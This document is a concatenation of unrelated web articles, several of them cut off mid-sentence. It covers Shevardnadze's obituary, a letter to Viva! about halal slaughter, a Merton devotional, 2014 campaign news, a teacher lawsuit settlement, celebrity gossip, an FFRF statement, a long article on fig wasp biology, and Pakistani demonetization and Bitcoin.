The Russian president, Vladimir Putin, offered his "deep condolences to [Shevardnadze's] friends and relatives, and to the whole Georgian people", his spokesman Dmitry Peskov said.
Shevardnadze became Georgian president in 1995, in a troubled period for the country, which was on the verge of being a failed state. Wars in South Ossetia and Abkhazia had stripped the country of a major part of its territory, while two assassination attempts were made on Shevardnadze's life, in one case using anti-tank weapons against his motorcade.
His rule as president became characterised by rampant corruption and nepotism, and he was eventually toppled in 2003 by the bloodless rose revolution, led by Mikheil Saakashvili. He agreed to resign as president and in return was given guarantees over his safety.
"History will judge him kindly," said Saakashvili at the time.
Since then, he has lived quietly in his mansion on the outskirts of Tbilisi, rarely interfering in public life.
Eduard Shevardnadze obituaryDear Colleagues:
I posted an essay about the remarks of Viva! as reported in The Sunday Mail (a U.K. paper), concerning the sale in the U.K. of meat from animals slaughtered in the halal method.
A “Reply from Viva!” was posted on Opposing Views, where my essay was reprinted:
Reply from Viva! Gary, you may be interested to know that The Daily Mail did not talk to Viva!. What they did was take a quote from our website. Ritual slaughter without pre-stunning has been proven to be crueller, but we are against all slaughter. Humane slaughter, of course, does not exist. At every opportunity we try and push veganism as the most ethical choice to protect animals. However, you have to understand that the media has it’s own agenda. If we had spoken to The Daily Mail at the time (we have spoken to them since), we could push veganism until we’re blue in the face. They will print what they want to print. Please keep that in mind before criticising us or other groups in the future. Thank you. – Justin Kerswell September 21, 2010 11:06AM
I confirmed that this reply was, in fact, from Viva!
Here is my response:
Dear Justin:
Thank you for your reply. Unfortunately, it does not address my concerns except to reinforce them.
Islamophobia and Halal Slaughter
Assuming what you say is true (and I do) and that The Sunday Mail did not talk to Viva! and took the quote from the Viva! website, then the matter is actually more serious in that the xenophobic remarks attributed to Viva! cannot be characterized as some statement taken out of context, but rather represent a considered policy statement from Viva!’s website. In light of the rampant Islamophobia in the U.K. (and elsewhere), it might be a good idea to remove that statement from your website. It does no good to say that Viva! supports multiculturalism when it makes remarks like |
ck can be reached at hope.seck@military.com. Follow her on Twitter at@HopeSeck.“It would perhaps be too much to say that the world needs another movement such as that which drew these men into the deserts of Egypt and Palestine. Ours is certainly a time for solitaries and for hermits. But merely to reproduce the simplicity, austerity and prayer of these primitive souls is not a complete or satisfactory answer. We must transcend them, and transcend all those who, since their time have gone beyond the limits which they set. We must liberate ourselves, in our own way, from involvement in a world that is plunging to disaster. But our world is different from theirs. Our involvement in it is more complete. Our danger is far more desperate. Our time, perhaps, is shorter than we think.” Thomas Merton
“We do not go into the desert to escape people but to learn how to find them; we do not leave them in order to have nothing more to do with them but to find out the way to do them the most good. …For the monk searches not only his own heart; he plunges deep into the heart of that world of which he remains a part although he seems to have ‘left’ it. In reality the monk abandons the world only in order to listen more intently to the deepest and most neglected voices that proceed from it’s inner depth. …The only justification for a life of deliberate solitude is the conviction that it will help you to love not only God but also other men.” Merton
”Beloved, I urge you as aliens and strangers
to abstain from fleshly lusts
which wage war
against the soul.”
1 Peter 2:11.
Moving From the Head to the Heart
Do you agree that ours is “a time for solitaries and for hermits?” Is God calling you to a life somehow separate from the crowd which would enable you “to love not only God but also other men?”
Do you see our world as “plunging to disaster?” Is there a way for you to “liberate” yourself from it today as the desert monastics did in theirs? What would that look like?
Are you able to listen intently to the “deepest and most neglected voices” of our world? What can you to do grow in that capacity?
Abba, guide me in my day as you did the monastics before me.
For More: New Seeds of Contemplation by Thomas Merton
_________________________________________________ These “Daily Riches” are for your encouragement as you seek after God and he seeks after you. I hope you’ll follow and share my blog. My goal is to share something of unique value with you daily in 400 words or less. I appreciate your interest! – Bill (Psalm 90:14) “I practice daily what I believe; everything else is religious talk.”BRIDGEPORT, Conn. — In his final campaign swing, President Obama rallied voters Sunday in Connecticut and Pennsylvania for Democratic gubernatorial candidates, but his first rally of the day was interrupted several times by protesters demanding more lenient immigration policies.
Mr. Obama’s event for Gov. Dan Malloy at a high school in Bridgeport, Connecticut, was roiled at the start by incidents of people heckling him and forcing him to stop his prepared remarks. Police hauled two young men out of the crowd after they repeatedly shouted down the president. One was wearing a T-shirt that said “Obama Deports Parents.”
“The Republicans are blocking immigration reform,” Mr. Obama said. “That’s one more reason we need a Democratic Senate.”
After the young men were led away, Mr. Obama said, “Let’s try again.” But a few moments later, a woman started screaming at the president.
Mr. Obama again halted his speech to say “I am sympathetic” to people complaining about the lack of immigration reform in Congress.
“That’s why we fought for immigration reform,” he said. “It’s the other party that’s blocking. Unfortunately, folks get frustrated, and they yell at everybody.”
At another point, Mr. Obama said, “Republicans are patriots. They love their country.”
“No, they don’t!” a man shouted.
“Listen, just because folks are good folks doesn’t mean they’ve got good ideas,” Mr. Obama replied.
Near the end of his speech, he was interrupted by another protester, but the crowd drowned her out with (constitutionally impossible) shouts of “Four more years!”
The immigration group called United We Dream said “dreamers” from Connecticut, Florida, Massachusetts and New York confronted Mr. Obama as he gave his speech.
“Dreamers will not take any more political delays or excuses,” said Maria Praeli of Connecticut, a member of the group. “Our community expects President Obama to be broad in using his executive authority to provide deportation relief to millions of people from our community, including parents of dreamers, and we’re here to hold him accountable to his promise.”
The president is planning to issue an executive order after Election Day to allow a significant portion of the estimated 11 million illegal immigrants to remain in the country.
Mr. Malloy is in a tight race with Republican Tom Foley, in a rematch of their 2010 campaign that Mr. Malloy narrowly won.
In Pennsylvania, businessman Tom Wolf is leading Republican Gov. Tom Corbett, who received some help Sunday with an appearance by New Jersey Gov. Chris Christie.
At a rally at a high school in Bridgeport, Mr. Malloy raised the memory of the school shootings in Newtown, Connecticut, in December 2012 and said Mr. Obama “cared about us.”
“He came to our state just a few days later,” Mr. Malloy said. “And he gave one of the most compelling speeches about who we are and what we are.”
Mr. Obama’s final campaign appearances ahead of Tuesday’s critical midterm elections continued his pattern of visiting states that he won in 2012 and 2008 and stumping almost exclusively for gubernatorial candidates. Senate Democrats are shunning Mr. Obama, who is especially unpopular in Republican-leaning states such as North Carolina, Arkansas and Georgia.
The president stumped for Mr. Wolf on Sunday night at Temple University in Philadelphia, the state’s biggest Democratic bastion.
On Saturday night, Mr. Obama told Michigan voters that they must vote if they hope to change the status quo in Washington.
Mr. Obama hit the stump for Gary Peters and Mark Schauer, Democratic candidates for Senate and governor of Michigan, respectively. Mr. Peters is going up against Republican Terri Lynn Land, while Mr. Schauer is challenging incumbent Republican Gov. Rick Snyder.
At a campaign rally in Detroit, the president returned to his familiar theme of “hope” and told Democrats that they must vote to defeat the Republican establishment.
“The hardest thing in politics is changing the status quo,” Mr. Obama said. “You’ve got a lot of people in power who just care about keeping power. They don’t care about you. … They hope you don’t get involved. They hope you don’t organize. They hope you don’t vote. And every day they’re sending you a message that you don’t count. Don’t buy it.”
On Friday night, Mr. Obama rallied Democrats in Maine.
At each stop, the president takes direct aim at the Republican economic agenda, painting it as a collection of tired ideas that have been tried and do not work. He singled out Republicans’ support for tax cuts for wealthy Americans.
“It’d be one thing if we hadn’t tried them. We might say, ‘OK, maybe that works.’ But when you’ve done it again and again and each time the middle class has a tougher time and the folks at the top are doing better and better, I don’t know why we think it would work better this time,” he said.
⦁ Ben Wolfgang contributed to this report.
Copyright © 2019 The Washington Times, LLC. Click here for reprint permission.Image Credit: Patrick Bazia/AFP/Getty Images
Samuel " Joe the Plumber " Wurzelbacher is not politically correct and he's proud of it. And to prove it, the Ohio Republican congressional candidate told a crowd of about 125 supporters in Arizona that the government should "put a damn fence on the border going with Mexico and start shooting."
"I'm running for Congress and that should be a bad thing to say," Wurzelbacher said, as the Prescott eNews first reported. "You know what, that's how I feel. I'm not going to hide it because I'm running for an office. I want my borders protected and I'm very, very adamant about that."
Wurzelbacher's remarks came during a Friday fundraising dinner for Arizona State Sen. Lori Klein. Last year Klein, an adamant gun rights activist, was criticized by gun control advocates after she pointed her raspberry-pink handgun at a reporter's chest during an interview to show him the laser sighting.
"It's just so cute," she said of her.380 Ruger handgun, before assuring the Arizona Republic reporter that while the gun had no safety, she "didn't have my hand on the trigger."
Wurzelbacher, also a firm supporter of the Second Amendment, went on to tell Arizonans on Friday that Republicans are reluctant to make jokes because "we're afraid it's going to end up on the five o'clock news."
"I'm not worried about being politically correct," the U.S. House candidate said. "That's one thing that's really scared us and really hurt us as a country is everyone is afraid to open their mouths, to say a little something funny."
It is this penchant to speak up and speak out that first propelled the northern Ohio plumber to national notoriety.
During the 2008 presidential campaign, Wurzelbacher questioned then-candidate Barack Obama about whether his tax plan would increase taxes on small businesses. Obama's rival John McCain seized on the moment and often cited "Joe the Plumber" as a small business owner who would be hurt by Obama's policies.
During his own congressional campaign, Wurzelbacher's has made a stir with his often unfiltered comments. In June the House candidate released a campaign ad linking the Holocaust to a lack of gun control.
"In 1939 Germany established gun control; from 1939 to 1945, 6 million Jews, 7 million others, unable to defend themselves, were exterminated," he says in the video while pulverizing fruit with blasts from his shotgun.
Wurzelbacher insisted there was "nothing offensive" about the ad because he was just stating historical facts.
Get more pure politics at ABC News.com/Politics and a lighter take on the news at OTUSNews.comAlmost three years after an Ohio science teacher used a Tesla coil to burn a cross into the arm of a middle-school student, the convoluted case has finally come to a conclusion.
A federal judge last week approved the settlement agreement between the family of the burned student and teacher John Freshwater.
The debacle first began in December 2007 when Zachary Dennis came home from school with a burn mark on his arm in the shape of a cross. His parents Jenifer and Stephen visited the school, looking for answers. When they felt they didn’t get them, they filed suit against both the Mt. Vernon School District and Freshwater. In addition to their complaint about their son’s injuries, they also referred to an independent investigator’s report that said that Freshwater had been using class time to witness to students, teaching intelligent design and displaying numerous Christian materials around the classroom for more than a decade. The district settled with the family in July 2009, but the settlement with Freshwater had dragged on, due to Freshwater and his attorney’s obfuscation and refusal to produce evidence.
I’ve written about this case numerous times, most recently, here, here, and here. This case has been incredibly divisive to the Mt. Vernon community. Freshwater has long tried to present himself as a victim of religious persecution, arguing disingenuously that the issue was over his refusal to remove his bible from his desk. Many religious conservatives in the community sided with him and accused the Dennis family lying about their son’s injuries.
According to the Mt. Vernon News:
With Judge Hoover’s ruling last Tuesday, the suit against Freshwater was officially settled. The settlement of $475,000 to the Dennis family includes $25,000 for attorney fees, $150,000 each to Stephen and Jennifer, and $150,000 to be used for an annuity for Zachary.
Let’s hope that the resolution puts all this ugliness to rest.BFFs again? (Picture: REX Features/MylesGoode)
In the most unexpected U-turn in showbiz, it seems Katy Perry might have just gifted Taylor Swift a whopping great big olive branch.
They’ve had real bad blood for years now but it looks like Katy, 31, might be willing to kiss and make up with her fiend Taylor, 26, after inviting her to her pre-Grammys Spotify music bash.
Katy revealed Taylor is on her guestlist for the party in Los Angeles on Saturday night, as well as Adele who is currently in Los Angeles after playing a surprise gig on Friday, adding: ‘It’s just up to their schedules.’
Sure it would just be down to Taylor’s schedule if she didn’t come though, Katy?
One thing that might sway Taylor to attend though is the fact it’s just a party for ‘creators’ – that means no managers, publicists or journalists will be in sight so if the girls did fancy a big powwow, they could do so in secret.
(Kevin Mazur/WireImage) (Kevin Mazur/WireImage) (Rex) (Rex) (Rex) (Rex) (Kevin Winter/AMA2011/Getty Images for AMA) (Kevin Winter/AMA2011/Getty Images for AMA) They used to be friends (Picture: AMA2011/WireImage) They used to be friends (Picture: AMA2011/WireImage) (Getty) (Getty) (Lester Cohen/AMA2011/WireImage) (Lester Cohen/AMA2011/WireImage) (Getty) (Getty)
Explaining why the limit on the invites, she told the New York Times: ‘They are not creators. They’re important to the creation, but it’s only artists, producers and songwriters.
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‘There’s a press opportunity in the front, like a red carpet, but if you want to be more low-key you can arrive via garage. I’m trying to keep it as pure as possible because in the eight years that I’ve been going to these things, I am just always so exhausted.’
She continued: ‘It’s a mixture of new and familiar artists, a combination of the past two years’ Grammy nominees and also [acts] from the Spotify Discover playlist. In some ways, I’m trying to start the Met Ball of music.’
Katy says she decided to throw the party to learn more about Spotify and how music streaming worked.
And while she’s currently in the ‘research and development’ phase of her next album, having bagged no invite to the Grammys this year, she says she’ll be watching it in exactly the same way as most of us will be: ‘In my pajamas, eating matzo ball soup. No makeup, glad I’m not in a corset. Vicks cream on.’
MORE: Taylor Swift is opening the Grammy Awards – will she get her own back on Kanye West?
Taylor and Katy’s feud first became apparent in 2014 with rumours circulating it was over Perry’s relationship with Taylor’s ex John Mayer. But then fresh reports claimed it was because Katy had swiped Taylor’s tour dancers for her own tour.
The Wildest Dreams singer then appeared to hit back when she released hit track Bad Blood last year – Katy is believed to have penned a response with a song called 1984, although it’s yet to be heard.
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MORE: Katy Perry nabs Taylor Swift Blank Space man for her H&M Christmas ad
MORE: Taylor Swift denies Bad Blood is about Katy Perry, sort of
MORE: Katy Perry accuses Taylor Swift of LYING about feud with Bad Blood payback song Crocodile TearsThe Freedom From Religion Foundation is condemning a Minnesota state representative's outrageous misuse of her official position in preaching from the House floor.
During a May 23 debate over whether or not to pass an amendment to an omnibus tax bill, state Rep. Abigail Whelan chose to deliver an impromptu sermon:
"I have an eternal perspective and I want to share that with you and with the people listening at home... There is actual joy to be found in Jesus Christ. Jesus loves you all. If you would like to get to know him, [if] you're listening at home, [or] here in this room, please email me, call me. Would love to talk to you about Jesus. He is the hope of this state and of this country."
FFRF asserts that in these comments, Whelan shamelessly abused the power of her office.
"These proselytizing remarks were completely inappropriate and an egregious violation of the spirit of the constitutional principle of separation between state and church," FFRF Co-Presidents Dan Barker and Annie Laurie Gaylor write to Whelan. "The Supreme Court has held that public officials may not seek to advance or promote religion."
While Whelan is free to practice and promote her personal religious beliefs on her own time, it is inappropriate to do so through the special platform she has been afforded, FFRF emphasizes. For Whelan to use state resources to promote her personal religious beliefs on the House floor and suggest that people should convert is completely inappropriate.
Besides, Whelan is not truly representing her constituents when she makes such a blatantly sectarian appeal. More than 23 percent of Americans identify as nonreligious. That 8-point increase since 2007 and 15-point jump since 1990 makes the "Nones" the fastest growing identification in America. Nearly 30 percent of Americans are non-Christians, either practicing a minority religion or no religion at all.
Whelan took an oath to uphold our country's godless and entirely secular Constitution, FFRF reminds her. Her statement to turn everything over to a deity seems to be an admission of professional failure. FFRF's advice to pious politicians everywhere is to "get off your knees and get to work."
FFRF requests that Whelan commit in writing to uphold her constitutional duty not to promote her personal religion while acting in her official capacity.
"While Rep. Whelan is free to say as many foolish things as she likes from the Assembly floor, she should be prepared to hear criticism," says Barker.
The Freedom From Religion Foundation is a nationwide nonprofit organization that works to protect the constitutional principle of separation of church and state. It represents more than 29,000 nonreligious members nationally and has chapters all over the country, including almost 600 members and two chapters in Minnesota.5. The Incredible Fig/Fig Wasp Scenario
C ertainly one of the most complicated and remarkable examples of male gender inequity is the classic disproportionate role of the male in the fig wasp life cycle. In fact, this subject is so fascinating that the staff at WAYNE'S WORD has mentioned it in several other articles.
T iny male and female fig wasps are borne inside hollow, fleshy, flower-bearing structures called syconia. [The syconium is what most people associate with the tasty fruit of a fig, but technically it is not a true fruit.] The syconium is lined on the inside with hundreds of tiny, pollen-bearing male flowers and seed-bearing female flowers, and the wasps develop from eggs laid inside the ovaries of the short-style female flowers (one egg per flower). In about half of the fig species (referred to as monoecious), male flowers and the long and short-style female flowers occur in the same bisexual syconium; but in all other fig species (referred to as dioecious or gynodioecious), the seed-producing, long-style female flowers only occur in unisexual syconia on female trees (with no male flowers). Since wasp eggs are not laid in the long-style flowers, the ovary of this type of flower contains a seed rather than a wasp (assuming it is pollinated). This remarkable floral dimorphism is how the fig tree produces seeds while still maintaining its vital, "in-house" population of symbiotic wasps. There are approximately 1,000 species of figs (genus Ficus), mostly distributed throughout tropical regions of the world, and they all have their own pollinator wasp species that only enters their syconia through a small opening (called an ostiole) to pollinate the female flowers inside. Without their special symbiotic wasps transferring pollen from one syconium to another, the female flowers inside would not get pollinated and no seeds would be produced (a catastrophe for the fig tree).
I t should be noted here that some fig species have two species of symbiotic wasp pollinators. In fact, the classic one-fig/one-wasp partnership has been challenged in an article by D. Molbo et al. (Proceedings of the National Academy of Sciences 2003 100: 5867-5872). The two fig wasp species may be closely related sister taxa, or may be quite different from each other. This indicates both long-term coexistence on shared hosts and relatively recent colonization of fig species. Fig syconia may also contain "bogus fig wasps" who do not pollinate the female flowers inside. It is clear that the fig-fig wasp scenario is far more complicated than originally described.
A close-up view inside of the rustyleaf fig syconium showing numerous minute male and female flowers. The female flowers are pollinated by a tiny pregnant (gravid) female fig wasp that enters the syconium through an opening at one end (the upper end in photo).
Magnified view of a male and female fig wasp (Pleistodontes imperialis) next to the "eye" of an ordinary sewing needle. The smaller, wingless male has an amber body and black head with greatly reduced eyes.
Close-up view of a male and female fig wasp (Pleistodontes imperialis). The smaller male (right) has a greatly reduced body which has two primary purposes: (1) Inseminating the female and (2) Drilling exit tunnels through the syconium wall.
Magnified view inside syconium of Ficus rubiginosa showing two male and two female fig wasps (Pleistodontes imperialis). The smaller males (left) have a black head and amber-colored, wingless body. The winged females (right) are larger with longer antennae. In this image, the inseminated females have imerged from their individual flowers and are ready to escape from the syconium.
Richard Dawkin's Model Of Vicarious Selection Chapter 10 of Climbing Mount Improbable, W.W. Norton & Company, 1996.
T
he staff at WAYNE'S WORD agrees with Richard Dawkins that the fig/fig wasp scenario is truly one of the most remarkable and complicated examples of coevolution between a plant and an insect; however, his fascinating discussion of vicarious selection to explain this symbiotic relationship is based on dioecious figs with separate male and female trees. About half of the world's fig species are monoecious (with male and female flowers in the same syconium) and do not fit Dawkin's model for vicarious selection. Dawkin's model is based on the paper by Grafen and Godfray ( Proc. R. Soc. Lond. 245, 1991). Vicarious refers to an act performed by one person or organism (in this case a syconium) in place of another.
A ccording to Carole Kerdelhue and Jean-Yves Rasplus (Oikos Vol. 77: 163-166, 1996), dioecious figs may have evolved from monoecious ancestral fig species due to selection pressure by non-pollinator fig wasps. Although these non-pollinator wasps belong to the same order Chalcidoidea as pollinators, many of them belong to different families. They do not benefit the fig and may even be harmful, especially when they compete with and/or parasitize the beneficial pollinator wasps. According to Kerdelhue and Rasplus (1996), non-pollinator, parasitic wasps never occur in the long-style flowers of female syconia on female trees, and non-pollinator gall-makers are uncommon in the male syconia of male trees. Therefore, seed production in female syconia and pollinator wasp production in male syconia are not diminished as in the syconia of monoecious figs with stratified ovaries containing all of the non-pollinator wasp species. In addition, no gall-makers that lay eggs through the syconium wall (after pollination by pollinator wasps) have ever been found so far in dioecious figs. These bogus fig wasps have very long ovipositors that can penetrate the entire outer wall of the syconium. For the fig, having separate male and female trees (bearing male or female syconia) in the population may have a distinct adaptive advantage with regard to pollination and seed production.
Bogus fig wasps (family Torymidae and Eurytomidae) have an unusually long ovipositor. It can easily penetrate the long-style flowers which are too long for true female fig wasps. In fact, some species can penetrate the entire syconium from the outside! Thus, bogus fig wasps can lay eggs in long-style fig flowers reserved for fig seeds. Consequently, no seeds are produced in these flowers. In addition, the bogus fig wasps do not pollinate fig flowers. Although they do not benefit the fig tree, torymid and eurytomid wasps are common inhabitants of New World monoecious fig syconia. Their coexistence with natural fig pollinator wasps is a complex and perplexing coevolutionary problem in fig biology.
A. Short-style female flowers inside male syconium of a dioecious fig. [Male flowers also occur in this syconium.] B. Long-style female flowers inside the female syconium of a dioecious fig. These syconia do not have the intermediate ovary positions of monoecious figs (see below), and they do not harbor all the non-pollinator wasp species of monoecious figs.
I n Dawkin's model, selection for wasp pollination morphology (i.e. ovipositor length, etc.) and behavior (purposive loading and unloading of pollen) is taking place in wasps who enter and leave male syconia (containing short-style female flowers) on male trees. This selection is crucial for the perpetuation of fig trees when wasps enter female syconia on female trees (which superficially resemble male syconia). Female syconia produce seeds (the vital genetic link for fig trees) and are a genetic graveyard for wasps because they cannot oviposit in the long-style female flowers. For wasps in female syconia, mutations for a longer ovipositor that could reach the ovary of long-style flowers would not be passed on. For wasps in male syconia, there is no selective advantage for longer ovipositors because they are already long enough to easily penetrate the ovary of short-style flowers.
S ome varieties of the common dioecious fig (F. carica), such as the delicious Calimyrna, have another method of blocking the development of non-pollinator bogus fig wasps. Without pollination, Calimyrna syconia fail to ripen and drop from the branches. This eliminates the life cycle of non-pollinator fig wasps that may have laid eggs in the syconium.
A lthough vicarious selection for ovipositor length may be dictated by the male syconia on male trees, there are several other pollination patterns in dioecious figs that differ from Dawkin's model for vicarious selection. See Pollination Patterns In Dioecious Figs. Dawkin's dioecious fig model fits species of dioecious figs in the subgenus Urostigma. These figs have the prerquisites for vicarious selection, including: (1) purposive pollination (pollen collecting and pollen transfer by female wasps); (2) female wasps with pollen baskets (corbiculae); (3) exit tunnels cut by male wasps, etc. But in reality, there are many fig species with passive pollination (i.e. not deliberate), without pollen baskets, and without exit tunnels cut by male wasps. In fact, it is doubtful that vicarious selection adequately explains the remarkable evolution of the numerous fig species with pollination patterns that are different from Dawkin's fig model.
M onoecious syconia of Ficus sur contain long-style and short-style female flowers densely packed together in a layer that lines the inner cavity of the syconium. Although the styles all form a relatively continuous stigmatic layer called a synstigma (i.e. all stigmas in the same plane) within the syconium, the ovaries may be deep or shallow relative to the synstigma depending on the length of their flower stalks (pedicels). Generally, the deep-seated ovaries (on short pedicels) with long styles each contain a seed, while the shallow ovaries (on long pedicels) with short styles each contain a wasp larva (referred to as a "gall flower" by some authors). A pollinator wasp walking on this "bed" of styles (synstigma) can insert her ovipositor down the short style and easily penetrate the ovary where she lays an egg. The deep-seated, long-style ovaries are out of reach for her ovipositor (style longer than her ovipositor), and consequently these ovaries develop seeds rather than wasp larvae.
B ecause of intermediate style lengths (between long and short) and different ovary heights due to the length of flower stalks (pedicels), the ovary position of female flowers in monoecious fig syconia often forms a stratification. According to Kerdelhue and Rasplus (1996), there are at least 4 different ovary layers occupied by beneficial (pollinator) and non-beneficial and/or harmful non-pollinator wasps. These layers are listed according to their position (depth) from the stigmatic surface (synstigma) within the syconial cavity. See the following illustration.
Heterostyly and four ovary layers (stratification) within the syconium of a monoecious fig (Ficus sur). (1) Yellow: The most shallow ovaries (near surface) with shortest styles which typically contain a pollinator wasp larva; (2) Green and (3) Red: Slightly deeper ovaries that typically contain non-pollinator wasp larvae; (4) Black: The deepest ovaries with longest styles that typically bear mature seeds. 1. The shallow ovary layer of short-style flowers (yellow ovaries in above illustration) are mostly occupied by larvae of wasps that oviposit from the synstigma within the syconium cavity, including Ceratosolen (pollinator) and Sycophaga (non-pollinator gall-maker), and by their parasitic wasp larvae (parasitoids or inquilines). 2. A second slighter deeper ovary layer (green ovaries in above illustration) includes the wasps of layer 1 (above) plus some additional gall-makers which lay eggs from the outside (Apocryptophagus). 3. A third deeper ovary layer (red ovaries in above illustration)) produces a few seeds and provides shelter and food (galled endosperm tissue) for mainly Apocryptophagus and a few Sycophaga individuals. 4. A fourth, deepest ovary layer (black ovaries in above illustration) produces mostly seeds and some wasps, including some Sycophaga and a few Apocryptophagus. If the non-pollinating wasps are very numerous, the medium layers 1 and 2 (yellow and green ovaries) will be occupied entirely by exploiters and these occupied flowers will not produce seeds or pollinator wasps. According to Kerdelhue and Rasplus (1996), this probably represents a high cost to the fig with regard to seed production.
T he following scenario occurs three or more times a year (depending on the fig species). The example used in this discussion is essentially based on the monoecious Australian rustyleaf fig (Ficus rubiginosa) and its symbiotic pollinator wasp (Pleistodontes imperialis). About three months after the wasp eggs are laid inside short-style flowers by the mother wasp, the mature male wasps emerge first--each male chewing his way out of the ovary he was borne in. Compared to the larger winged female (another example of sexual dimorphism) he is a minute, wingless wasp with greatly reduced eyes and a reduced, feeble body. In fact, he can barely walk, clumsily moving around inside the syconium in search of a female. Actually he really doesn't need wings, running legs or eyes because his short adult life on this earth is totally within the confines of his dark and dingy syconium. For his reduced size, he does have strong little mandibles (jaws) which come in very handy in the two major roles of his short life cycle:
Male Role #1.
H e crawls to a short-style female flower that contains a mature female wasp. He climbs up on the ovary of the flower, bites a fertilization hole in the ovary wall, and inserts his long, slender rear end (abdomen) into the opening (and into the wasp's vagina), thus inseminating a female who really never sees who is mating with her. Each male repeats this process with every female they find, as they slowly move through the dense "jungle" of long and short-style female flowers. After being inseminated the female crawls out of the fertilization hole through the ovary wall initially made by the male. At this precise time the male flowers have reached maturity and are shedding pollen. The female wasp purposively (deliberately) collects pollen from the male flowers and packs it into a pair of little pollen baskets (corbiculae) on the underside of her thorax. In many fig species (especially dioecious figs) she simply collects pollen passively (not deliberately) in the folds and crevices of her exoskeleton as she moves through dense, pollen-laden male flowers. It is difficult to generalize about pollen-collecting behavior because it varies considerably within the incredibly complex subgenera of Ficus.
A male fig wasp (Blastophaga psenes) mounting a short-style female flower and inserting his long, slender abdomen into a fertilization hole that he cut through the ovary wall to inseminate the female fig wasp inside.
A female fig wasp (Pleistodontes imperialis) emerging from a short-style female flower. She enlarges and pushes through the fertilization hole in the ovary wall cut by the male.
Male Role #2.
A t this time the male wasps begin tunnelling through the syconium wall, chewing away at the tough outer layer. These exit tunnels are absolutely crucial in order for the female wasp to escape. Again, the exact method of wasp exodus depends on the subgenus of Ficus. In some species, the ostiole where the original mother wasp entered to lay her eggs months earlier, actually opens again, thus allowing the pregnant (gravid) female wasps to escape. Here is one of several examples given by Richard Dawkins in Climbing Mount Improbable page 309 (1st paragraph) that just doesn't fit: "A male that did sit back and let his colleagues make the hole would be able to save up all his energy for mating with females, secure in the knowledge that he need not hold himself back for the effort of making the hole." In every fig species we have studied (either from direct observations of live wasps or from the literature), the males mate with the females before the tunnels are cut. In fact, according to Dr. J. Galil, the famous fig biologist at Tel Aviv University (Endeavour Vol. 1, 1977), all the respiratory activity of male wasps (during mating and tunnelling) increases the carbon dioxide concentration within the syconium (up to 10 percent or three times the atmospheric level in Ficus religiosa). Upon completion of the exit tunnels, the carbon dioxide level drops rapidly as the gas escapes into the outside atmosphere. The depletion of carbon dioxide activates the female wasps, causing them to enlarge the fertilization holes and push through the ovary walls of the individual short-style flowers they were born in. And of course there are many fig species that do not even have (or need) exit tunnels cut by males, the females simply exit through the main ostiole at the end of the syconium. In these latter species, the feeble males have essentially only one primary role (see role #1 above), that is, to inseminate the female.
Circular exit tunnels in the mature syconium wall of the rustyleaf fig (Ficus rubiginosa). The tunnels were cut by the male fig wasps to enable the winged females to escape. Soon after the tunnels are cut, the tiny males die, their purpose in life having been fulfilled. Without the exit holes, the females would perish inside the syconium, along with their male sex partners and liberators.
T he exiting female wasps emerge from the neat circular tunnels cut by the males and fly off to other receptive syconia to lay their eggs, and the whole cycle starts all over again. With their purpose fulfilled, the tiny males soon die within the syconium, never leaving the place of their birth and sexual orgy. At this stage the syconium becomes juicy and sweet, and may serve as food for hungry monkeys and bats high in the rain forest canopy. This final phase is also important for the fig tree because it insures that seeds contained inside long-style flowers are deposited to other places (due to the purgative effect on the animals digestive tract). Many of these amazing tropical figs start growing as epiphytic vines on the host tree's limbs, soon reaching the ground where they develop extensive root systems. Like a botanical boa constrictor, these "strangler figs" eventually envelop the host tree as their tangled masses of snake-like vines fuse (anastomose) into a massive trunk.
A lthough a number of testosterone-laden, male general biology students have said (jokingly) that they envied the male fig wasp, his short wasp life is basically limited to a brief sexual orgy within the stuffy syconium (with the exception of those |
compete with the likes of Facebook and Twitter in the news content wars.
That sets up a spot of awkwardness for our Jesse, since holding a load of shares in such a company would create precisely the kind of conflict for which the noted paragon of integrity would crucify any other journo (see Amanda Lang, Leslie Roberts, et al.)
Strangely, news of Brown’s multi-million dollar windfall has gone conspicuously unmentioned by, er, Canadaland itself. Transparency indeed!
Presumably, Brown is trying to figure out how to convince Canadaland patrons to keep making donations, despite the fact the proprietor is now one of the wealthiest journos in the nation.
Frank urges Jesse to do the right thing and plow his millions into quality independent journalism, thus reducing the need for endless fundraising begathons.Bitcoin Bitcoin Buying Up 300% in Pakistan, Demonetization’s Next Domino
Pakistan has announced plans to remove its largest currency notes from circulation as Bitcoin buying has surged fourfold in the country.
Pakistan Joins War on Cash
The demonetization policies that have been recently implemented in countries like India and Venezuela are now spreading across the globe. More and more countries are attempting to eliminate cash transactions in what is being called an effort to reduce corruption, money laundering and black market economy.
This time, Pakistan is joining the front of the demonetization policy by withdrawing the high denomination Rs 5,000 currency notes from circulation. The resolution was passed by the Senate on Monday and was endorsed by the majority of lawmakers in the Upper House, although strongly opposed by the Pakistan Muslim League-Nawaz (PML-N) government. The decision is said to encourage the use of electronic transactions which, unlike cash, can be easily traced.
Although the measure should take place within three to five years, Law Minister Zahid Hamid notes that this will create a crisis in the market causing citizens to resort to foreign currencies. Of Course, Bitcoin and other cryptocurrencies also come to mind as a new way for citizens to protect, not only the value of their savings but their own privacy and financial freedom.
The resolution tabled by the Pakistan Peoples Party (PPP) is the most recent in what seems to be a worldwide effort to eliminate cash and consolidate monetary control. The most prominent examples being countries like India and Venezuela, although Australia has also recently joined the movement along with Spain, which is now imposing a 1,000 Euro limitation on all cash transactions.
World Wide Demonetization
In November, India withdrew its biggest banknotes from circulation, the 500 and 1,000 rupee notes (86% of the country’s currency), causing a massive uproar in the population and leading to global confusion with people queuing outside of Banks looking to exchange their now-worthless notes. Although the measures have been applied a month, businesses are still struggling to adapt and citizens are looking for new ways of paying for basic goods and services.
Additionally, India has since released a new set of rules that allows individuals to deposit the bank notes before the end and after explaining to two bank officials why the deposit was not made earlier.
Earlier this month, the highest-denomination banknote in Venezuela, the 100 bolivar note, was also set to be removed from circulation. Although the measure has been delayed it has also added insult to injury in a country already struggling wit economic upheaval and mass protests. Australia is also considering a proposal to withdraw the 100 dollar banknote and has recently announced plans to introduce a cap on cash transactions.
Bitcoin: The Way Out
As the demonetization and capital control policies gain traction worldwide, citizens may have no option but to turn to Bitcoin and other cryptocurrencies. Not even Gold seems to be off-limits, given China’s latest decision in restricting gold imports and rumors of India limiting domestic gold holdings.
Bitcoin buying has surged in Pakistan as a result with LocalBitcoins volume showing an increase from roughly 100 to over 400 BTC in the first weeks of December.
The trend confirms UnoCoin’s recent volume reports, a leading Bitcoin wallet and exchange in India, that has reported November as a record-breaking month both in new users and total bitcoin trading volume.
